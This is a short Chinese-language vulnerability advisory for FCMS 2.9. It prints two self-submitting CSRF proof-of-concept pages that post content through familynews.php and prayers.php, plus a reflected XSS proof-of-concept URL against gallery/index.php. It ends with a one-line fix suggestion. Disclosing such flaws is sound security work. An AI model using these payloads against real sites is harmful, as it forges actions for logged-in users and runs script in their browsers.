###1- CSRF缺陷 :
利用的POC如下:
##POC 1: Page "familynews.php"
```
<html>
<head>
<script type="text/javascript">
function autosubmit() {
document.getElementById('ChangeSubmit').submit();
}
</script>
</head>
<body onLoad="autosubmit()">
<form method="POST" action="http://[ www.2cto.com ]/FCMS_2.9/familynews.php" id="ChangeSubmit">
<input type="hidden" name="title" value="test" />
<input type="hidden" name="submitadd" value="Add" />
<input type="hidden" name="post" value="testcsrf" />
<input type="submit" value="submit"/>
</form>
</body>
</html>
```
##POC 2:页面 "prayers.php"
```
<html>
<head>
<script type="text/javascript">
function autosubmit() {
document.getElementById('ChangeSubmit').submit();
}
</script>
</head>
<body onLoad="autosubmit()">
<form method="POST" action="http://[localhost]/FCMS_2.9/prayers.php" id="ChangeSubmit">
<input type="hidden" name="for" value="test" />
<input type="hidden" name="submitadd" value="Add" />
<input type="hidden" name="desc" value="testtest" />
<input type="submit" value="submit"/>
</form>
</body>
</html>
```
----------------------------------------------------------------
###2-反射型 XSS
```
##POC : http://[localhost]/fcms_2.9/gallery/index.php?uid=%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
```
###3修复方案
加强过滤和验证
暂无评论